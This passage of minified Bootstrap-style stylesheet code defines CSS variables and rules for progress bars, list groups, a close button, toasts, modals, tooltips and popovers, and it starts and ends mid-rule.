ease;display:flex;height:var(--bs-progress-height);overflow:hidden;font-size:var(--bs-progress-font-size);background-color:var(--bs-progress-bg);border-radius:var(--bs-progress-border-radius)}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:var(--bs-progress-bar-color);text-align:center;white-space:nowrap;background-color:var(--bs-progress-bar-bg);transition:var(--bs-progress-bar-transition)}@media(prefers-reduced-motion: reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-size:var(--bs-progress-height) var(--bs-progress-height)}.progress-stacked>.progress{overflow:visible}.progress-stacked>.progress>.progress-bar{width:100%}.progress-bar-animated{animation:1s linear infinite progress-bar-stripes}@media(prefers-reduced-motion: reduce){.progress-bar-animated{animation:none}}.list-group{--bs-list-group-color: var(--bs-body-color);--bs-list-group-bg: var(--bs-body-bg);--bs-list-group-border-color: var(--bs-border-color);--bs-list-group-border-width: var(--bs-border-width);--bs-list-group-border-radius: var(--bs-border-radius);--bs-list-group-item-padding-x: 1rem;--bs-list-group-item-padding-y: 0.5rem;--bs-list-group-action-color: var(--bs-secondary-color);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-tertiary-bg);--bs-list-group-action-active-color: var(--bs-body-color);--bs-list-group-action-active-bg: var(--bs-secondary-bg);--bs-list-group-disabled-color: var(--bs-secondary-color);--bs-list-group-disabled-bg: var(--bs-body-bg);--bs-list-group-active-color: #ffffff;--bs-list-group-active-bg: #5b4fb9;--bs-list-group-active-border-color: #5b4fb9;display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:var(--bs-list-group-border-radius)}.list-group-numbered{list-style-type:none;counter-reset:section}.list-group-numbered>.list-group-item::before{content:counters(section, ".") ". ";counter-increment:section}.list-group-item-action{width:100%;color:var(--bs-list-group-action-color);text-align:inherit}.list-group-item-action:hover,.list-group-item-action:focus{z-index:1;color:var(--bs-list-group-action-hover-color);text-decoration:none;background-color:var(--bs-list-group-action-hover-bg)}.list-group-item-action:active{color:var(--bs-list-group-action-active-color);background-color:var(--bs-list-group-action-active-bg)}.list-group-item{position:relative;display:block;padding:var(--bs-list-group-item-padding-y) var(--bs-list-group-item-padding-x);color:var(--bs-list-group-color);text-decoration:none;background-color:var(--bs-list-group-bg);border:var(--bs-list-group-border-width) solid var(--bs-list-group-border-color)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:var(--bs-list-group-disabled-color);pointer-events:none;background-color:var(--bs-list-group-disabled-bg)}.list-group-item.active{z-index:2;color:var(--bs-list-group-active-color);background-color:var(--bs-list-group-active-bg);border-color:var(--bs-list-group-active-border-color)}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:calc(-1*var(--bs-list-group-border-width));border-top-width:var(--bs-list-group-border-width)}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:calc(-1*var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}@media(min-width: 576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:calc(-1*var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media(min-width: 768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:calc(-1*var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media(min-width: 992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:calc(-1*var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media(min-width: 1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:calc(-1*var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media(min-width: 1400px){.list-group-horizontal-xxl{flex-direction:row}.list-group-horizontal-xxl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xxl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xxl>.list-group-item.active{margin-top:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:calc(-1*var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 var(--bs-list-group-border-width)}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{--bs-list-group-color: var(--bs-primary-text-emphasis);--bs-list-group-bg: var(--bs-primary-bg-subtle);--bs-list-group-border-color: var(--bs-primary-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-primary-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-primary-border-subtle);--bs-list-group-active-color: var(--bs-primary-bg-subtle);--bs-list-group-active-bg: var(--bs-primary-text-emphasis);--bs-list-group-active-border-color: var(--bs-primary-text-emphasis)}.list-group-item-secondary{--bs-list-group-color: var(--bs-secondary-text-emphasis);--bs-list-group-bg: var(--bs-secondary-bg-subtle);--bs-list-group-border-color: var(--bs-secondary-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-secondary-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-secondary-border-subtle);--bs-list-group-active-color: var(--bs-secondary-bg-subtle);--bs-list-group-active-bg: var(--bs-secondary-text-emphasis);--bs-list-group-active-border-color: var(--bs-secondary-text-emphasis)}.list-group-item-danger{--bs-list-group-color: var(--bs-danger-text-emphasis);--bs-list-group-bg: var(--bs-danger-bg-subtle);--bs-list-group-border-color: var(--bs-danger-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-danger-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-danger-border-subtle);--bs-list-group-active-color: var(--bs-danger-bg-subtle);--bs-list-group-active-bg: var(--bs-danger-text-emphasis);--bs-list-group-active-border-color: var(--bs-danger-text-emphasis)}.list-group-item-success{--bs-list-group-color: var(--bs-success-text-emphasis);--bs-list-group-bg: var(--bs-success-bg-subtle);--bs-list-group-border-color: var(--bs-success-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-success-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-success-border-subtle);--bs-list-group-active-color: var(--bs-success-bg-subtle);--bs-list-group-active-bg: var(--bs-success-text-emphasis);--bs-list-group-active-border-color: var(--bs-success-text-emphasis)}.list-group-item-info{--bs-list-group-color: var(--bs-info-text-emphasis);--bs-list-group-bg: var(--bs-info-bg-subtle);--bs-list-group-border-color: var(--bs-info-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-info-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-info-border-subtle);--bs-list-group-active-color: var(--bs-info-bg-subtle);--bs-list-group-active-bg: var(--bs-info-text-emphasis);--bs-list-group-active-border-color: var(--bs-info-text-emphasis)}.list-group-item-warning{--bs-list-group-color: var(--bs-warning-text-emphasis);--bs-list-group-bg: var(--bs-warning-bg-subtle);--bs-list-group-border-color: var(--bs-warning-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-warning-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-warning-border-subtle);--bs-list-group-active-color: var(--bs-warning-bg-subtle);--bs-list-group-active-bg: var(--bs-warning-text-emphasis);--bs-list-group-active-border-color: var(--bs-warning-text-emphasis)}.list-group-item-light{--bs-list-group-color: var(--bs-light-text-emphasis);--bs-list-group-bg: var(--bs-light-bg-subtle);--bs-list-group-border-color: var(--bs-light-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-light-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-light-border-subtle);--bs-list-group-active-color: var(--bs-light-bg-subtle);--bs-list-group-active-bg: var(--bs-light-text-emphasis);--bs-list-group-active-border-color: var(--bs-light-text-emphasis)}.list-group-item-dark{--bs-list-group-color: var(--bs-dark-text-emphasis);--bs-list-group-bg: var(--bs-dark-bg-subtle);--bs-list-group-border-color: var(--bs-dark-border-subtle);--bs-list-group-action-hover-color: var(--bs-emphasis-color);--bs-list-group-action-hover-bg: var(--bs-dark-border-subtle);--bs-list-group-action-active-color: var(--bs-emphasis-color);--bs-list-group-action-active-bg: var(--bs-dark-border-subtle);--bs-list-group-active-color: var(--bs-dark-bg-subtle);--bs-list-group-active-bg: var(--bs-dark-text-emphasis);--bs-list-group-active-border-color: var(--bs-dark-text-emphasis)}.btn-close{--bs-btn-close-color: #000000;--bs-btn-close-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23000000'%3e%3cpath d='M.293.293a1 1 0 0 1 1.414 0L8 6.586 14.293.293a1 1 0 1 1 1.414 1.414L9.414 8l6.293 6.293a1 1 0 0 1-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 0 1-1.414-1.414L6.586 8 .293 1.707a1 1 0 0 1 0-1.414z'/%3e%3c/svg%3e");--bs-btn-close-opacity: 0.5;--bs-btn-close-hover-opacity: 0.75;--bs-btn-close-focus-shadow: 0 0 0 0.25rem rgba(91, 79, 185, 0.25);--bs-btn-close-focus-opacity: 1;--bs-btn-close-disabled-opacity: 0.25;--bs-btn-close-white-filter: invert(1) grayscale(100%) brightness(200%);box-sizing:content-box;width:1em;height:1em;padding:.25em .25em;color:var(--bs-btn-close-color);background:rgba(0,0,0,0) var(--bs-btn-close-bg) center/1em auto no-repeat;border:0;border-radius:.5rem;opacity:var(--bs-btn-close-opacity)}.btn-close:hover{color:var(--bs-btn-close-color);text-decoration:none;opacity:var(--bs-btn-close-hover-opacity)}.btn-close:focus{outline:0;box-shadow:var(--bs-btn-close-focus-shadow);opacity:var(--bs-btn-close-focus-opacity)}.btn-close:disabled,.btn-close.disabled{pointer-events:none;user-select:none;opacity:var(--bs-btn-close-disabled-opacity)}.btn-close-white{filter:var(--bs-btn-close-white-filter)}[data-bs-theme=dark] .btn-close{filter:var(--bs-btn-close-white-filter)}.toast{--bs-toast-zindex: 1090;--bs-toast-padding-x: 0.75rem;--bs-toast-padding-y: 0.5rem;--bs-toast-spacing: 1.5rem;--bs-toast-max-width: 350px;--bs-toast-font-size:0.875rem;--bs-toast-color: ;--bs-toast-bg: rgba(var(--bs-body-bg-rgb), 0.85);--bs-toast-border-width: var(--bs-border-width);--bs-toast-border-color: var(--bs-border-color-translucent);--bs-toast-border-radius: var(--bs-border-radius);--bs-toast-box-shadow: var(--bs-box-shadow);--bs-toast-header-color: var(--bs-secondary-color);--bs-toast-header-bg: rgba(var(--bs-body-bg-rgb), 0.85);--bs-toast-header-border-color: var(--bs-border-color-translucent);width:var(--bs-toast-max-width);max-width:100%;font-size:var(--bs-toast-font-size);color:var(--bs-toast-color);pointer-events:auto;background-color:var(--bs-toast-bg);background-clip:padding-box;border:var(--bs-toast-border-width) solid var(--bs-toast-border-color);box-shadow:var(--bs-toast-box-shadow);border-radius:var(--bs-toast-border-radius)}.toast.showing{opacity:0}.toast:not(.show){display:none}.toast-container{--bs-toast-zindex: 1090;position:absolute;z-index:var(--bs-toast-zindex);width:max-content;max-width:100%;pointer-events:none}.toast-container>:not(:last-child){margin-bottom:var(--bs-toast-spacing)}.toast-header{display:flex;align-items:center;padding:var(--bs-toast-padding-y) var(--bs-toast-padding-x);color:var(--bs-toast-header-color);background-color:var(--bs-toast-header-bg);background-clip:padding-box;border-bottom:var(--bs-toast-border-width) solid var(--bs-toast-header-border-color);border-top-left-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width));border-top-right-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width))}.toast-header .btn-close{margin-right:calc(-0.5*var(--bs-toast-padding-x));margin-left:var(--bs-toast-padding-x)}.toast-body{padding:var(--bs-toast-padding-x);word-wrap:break-word}.modal{--bs-modal-zindex: 1055;--bs-modal-width: 500px;--bs-modal-padding: 1rem;--bs-modal-margin: 0.5rem;--bs-modal-color: ;--bs-modal-bg: var(--bs-body-bg);--bs-modal-border-color: var(--bs-border-color-translucent);--bs-modal-border-width: var(--bs-border-width);--bs-modal-border-radius: var(--bs-border-radius-lg);--bs-modal-box-shadow: var(--bs-box-shadow-sm);--bs-modal-inner-border-radius: calc(var(--bs-border-radius-lg) - (var(--bs-border-width)));--bs-modal-header-padding-x: 1rem;--bs-modal-header-padding-y: 1rem;--bs-modal-header-padding: 1rem 1rem;--bs-modal-header-border-color: var(--bs-border-color);--bs-modal-header-border-width: var(--bs-border-width);--bs-modal-title-line-height: 1.5;--bs-modal-footer-gap: 0.5rem;--bs-modal-footer-bg: ;--bs-modal-footer-border-color: var(--bs-border-color);--bs-modal-footer-border-width: var(--bs-border-width);position:fixed;top:0;left:0;z-index:var(--bs-modal-zindex);display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}.modal-dialog{position:relative;width:auto;margin:var(--bs-modal-margin);pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0, -50px)}@media(prefers-reduced-motion: reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{height:calc(100% - var(--bs-modal-margin)*2)}.modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - var(--bs-modal-margin)*2)}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;color:var(--bs-modal-color);pointer-events:auto;background-color:var(--bs-modal-bg);background-clip:padding-box;border:var(--bs-modal-border-width) solid var(--bs-modal-border-color);border-radius:var(--bs-modal-border-radius);outline:0}.modal-backdrop{--bs-backdrop-zindex: 1050;--bs-backdrop-bg: #000000;--bs-backdrop-opacity: 0.7;position:fixed;top:0;left:0;z-index:var(--bs-backdrop-zindex);width:100vw;height:100vh;background-color:var(--bs-backdrop-bg)}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:var(--bs-backdrop-opacity)}.modal-header{display:flex;flex-shrink:0;align-items:center;padding:var(--bs-modal-header-padding);border-bottom:var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color);border-top-left-radius:var(--bs-modal-inner-border-radius);border-top-right-radius:var(--bs-modal-inner-border-radius)}.modal-header .btn-close{padding:calc(var(--bs-modal-header-padding-y)*.5) calc(var(--bs-modal-header-padding-x)*.5);margin:calc(-0.5*var(--bs-modal-header-padding-y)) calc(-0.5*var(--bs-modal-header-padding-x)) calc(-0.5*var(--bs-modal-header-padding-y)) auto}.modal-title{margin-bottom:0;line-height:var(--bs-modal-title-line-height)}.modal-body{position:relative;flex:1 1 auto;padding:var(--bs-modal-padding)}.modal-footer{display:flex;flex-shrink:0;flex-wrap:wrap;align-items:center;justify-content:flex-end;padding:calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap)*.5);background-color:var(--bs-modal-footer-bg);border-top:var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color);border-bottom-right-radius:var(--bs-modal-inner-border-radius);border-bottom-left-radius:var(--bs-modal-inner-border-radius)}.modal-footer>*{margin:calc(var(--bs-modal-footer-gap)*.5)}@media(min-width: 576px){.modal{--bs-modal-margin: 1.75rem;--bs-modal-box-shadow: var(--bs-box-shadow)}.modal-dialog{max-width:var(--bs-modal-width);margin-right:auto;margin-left:auto}.modal-sm{--bs-modal-width: 300px}}@media(min-width: 992px){.modal-lg,.modal-xl{--bs-modal-width: 800px}}@media(min-width: 1200px){.modal-xl{--bs-modal-width: 1140px}}.modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen .modal-header,.modal-fullscreen .modal-footer{border-radius:0}.modal-fullscreen .modal-body{overflow-y:auto}@media(max-width: 575.98px){.modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-sm-down .modal-header,.modal-fullscreen-sm-down .modal-footer{border-radius:0}.modal-fullscreen-sm-down .modal-body{overflow-y:auto}}@media(max-width: 767.98px){.modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-md-down .modal-header,.modal-fullscreen-md-down .modal-footer{border-radius:0}.modal-fullscreen-md-down .modal-body{overflow-y:auto}}@media(max-width: 991.98px){.modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-lg-down .modal-header,.modal-fullscreen-lg-down .modal-footer{border-radius:0}.modal-fullscreen-lg-down .modal-body{overflow-y:auto}}@media(max-width: 1199.98px){.modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xl-down .modal-header,.modal-fullscreen-xl-down .modal-footer{border-radius:0}.modal-fullscreen-xl-down .modal-body{overflow-y:auto}}@media(max-width: 1399.98px){.modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xxl-down .modal-header,.modal-fullscreen-xxl-down .modal-footer{border-radius:0}.modal-fullscreen-xxl-down .modal-body{overflow-y:auto}}.tooltip{--bs-tooltip-zindex: 1080;--bs-tooltip-max-width: 200px;--bs-tooltip-padding-x: 0.5rem;--bs-tooltip-padding-y: 0.25rem;--bs-tooltip-margin: ;--bs-tooltip-font-size:0.7875rem;--bs-tooltip-color: var(--bs-body-bg);--bs-tooltip-bg: var(--bs-emphasis-color);--bs-tooltip-border-radius: 0.25rem;--bs-tooltip-opacity: 0.9;--bs-tooltip-arrow-width: 0.8rem;--bs-tooltip-arrow-height: 0.4rem;z-index:var(--bs-tooltip-zindex);display:block;margin:var(--bs-tooltip-margin);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-tooltip-font-size);word-wrap:break-word;opacity:0}.tooltip.show{opacity:var(--bs-tooltip-opacity)}.tooltip .tooltip-arrow{display:block;width:var(--bs-tooltip-arrow-width);height:var(--bs-tooltip-arrow-height)}.tooltip .tooltip-arrow::before{position:absolute;content:"";border-color:rgba(0,0,0,0);border-style:solid}.bs-tooltip-top .tooltip-arrow,.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow{bottom:calc(-1*var(--bs-tooltip-arrow-height))}.bs-tooltip-top .tooltip-arrow::before,.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow::before{top:-1px;border-width:var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width)*.5) 0;border-top-color:var(--bs-tooltip-bg)}.bs-tooltip-end .tooltip-arrow,.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow{left:calc(-1*var(--bs-tooltip-arrow-height));width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-end .tooltip-arrow::before,.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow::before{right:-1px;border-width:calc(var(--bs-tooltip-arrow-width)*.5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width)*.5) 0;border-right-color:var(--bs-tooltip-bg)}.bs-tooltip-bottom .tooltip-arrow,.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow{top:calc(-1*var(--bs-tooltip-arrow-height))}.bs-tooltip-bottom .tooltip-arrow::before,.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow::before{bottom:-1px;border-width:0 calc(var(--bs-tooltip-arrow-width)*.5) var(--bs-tooltip-arrow-height);border-bottom-color:var(--bs-tooltip-bg)}.bs-tooltip-start .tooltip-arrow,.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow{right:calc(-1*var(--bs-tooltip-arrow-height));width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-start .tooltip-arrow::before,.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow::before{left:-1px;border-width:calc(var(--bs-tooltip-arrow-width)*.5) 0 calc(var(--bs-tooltip-arrow-width)*.5) var(--bs-tooltip-arrow-height);border-left-color:var(--bs-tooltip-bg)}.tooltip-inner{max-width:var(--bs-tooltip-max-width);padding:var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x);color:var(--bs-tooltip-color);text-align:center;background-color:var(--bs-tooltip-bg);border-radius:var(--bs-tooltip-border-radius)}.popover{--bs-popover-zindex: 1070;--bs-popover-max-width: 276px;--bs-popover-font-size:0.7875rem;--bs-popover-bg: var(--bs-body-bg);--bs-popover-border-width: var(--bs-border-width);--bs-popover-border-color: var(--bs-border-color-translucent);--bs-popover-border-radius: 0.25rem;--bs-popover-inner-border-radius: calc(0.25rem - var(--bs-border-width));--bs-popover-box-shadow: var(--bs-box-shadow);--bs-popover-header-padding-x: 1rem;--bs-popover-header-padding-y: 0.8rem;--bs-popover-header-font-size:0.9rem;--bs-popover-header-color: inherit;--bs-popover-header-bg: #edf0f7;--bs-popover-body-padding-x: 1rem;--bs-popover-body-padding-y: 1rem;--bs-popover-body-color: var(--bs-body-color);--bs-popover-arrow-width: 1rem;--bs-popover-arrow-height: 0.5rem;--bs-popover-arrow-border: var(--bs-popover-border-color);z-index:var(--bs-popover-zindex);display:block;max-width:var(--bs-popover-max-width);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-popover-font-size);word-wrap:break-word;background-color:var(--bs-popover-bg);background-clip:padding-box;border:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-radius:var(--bs-popover-border-radius)}.popover .popover-arrow{display:block;width:var(--bs-popover-arrow-width);height:var(--bs-popover-arrow-height)}.popover .popover-arrow::before,.popover .popover-arrow::after{position:absolute;display:block;content:"";border-color:rgba(0,0,0,0);border-style:solid;border-width:0}.bs-popover-top>.popover-arrow,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow{bottom:calc(-1*(var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-top>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after{border-width:var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width)*.5) 0}.bs-popover-top>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before{bottom:0;border-top-color:var(--bs-popover-arrow-border)}.bs-popover-top>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after{bottom:var(--bs-popover-border-width);border-top-color:var(--bs-popover-bg)}.bs-popover-end>.popover-arrow,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow{left:calc(-1*(var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-end>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after{border-width:calc(var(--bs-popover-arrow-width)*.5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width)*.5) 0}.bs-popover-end>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before{left:0;border-right-color:var(--bs-popover-arrow-border)}.bs-popover-end>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after{left:var(--bs-popover-border-width);border-right-color:var(--bs-popover-bg)}.bs-popover-bottom>.popover-arrow,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow{top:calc(-1*(var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-bottom>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after{border-width:0 calc(var(--bs-popover-arrow-width)*.5) var(--bs-popover-arrow-height)}.bs-popover-bottom>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before{top:0;border-bottom-color:var(--bs-popover-arrow-border)}.bs-popover-bottom>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after{top:var(--bs-popover-border-width);border-bottom-color:var(--bs-popover-bg)}.bs-popover-bottom .popover-header::before,.bs-popover-auto[data-popper-placement^=bottom] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:var(--bs-popover-arrow-width);margin-left:calc(-0.5*var(--bs-popover-arrow-width));content:"";border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-header-bg)}.bs-popover-start>.popover-arrow,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow{right:calc(-1*(var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-start>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after{border-width:calc(var(--bs-popover-arrow-width)*.5) 0 calc(var(--bs-popover-arrow-width)*.5) var(--bs-popover-arrow-height)}.bs-popover-start>.popover-arrow::before,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before{right:0;border-left-color:var(--bs-popover-arrow-border)}.bs-popover-start>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after{right:var(--bs-popover-border-width);border-left-color:var(--bs-popover-bg)}.popover-header{padding:var(--bs-popover-header-padding-y) var(--bs-popover-header-padding-x);margin-bottom:0;font-size:var(--bs-popover-header-font-size);color:var(--bs-popover-header-color);background-color:var(--bs-popover-header-bg);border-bottom:var(--bs-popover-border-width) solid 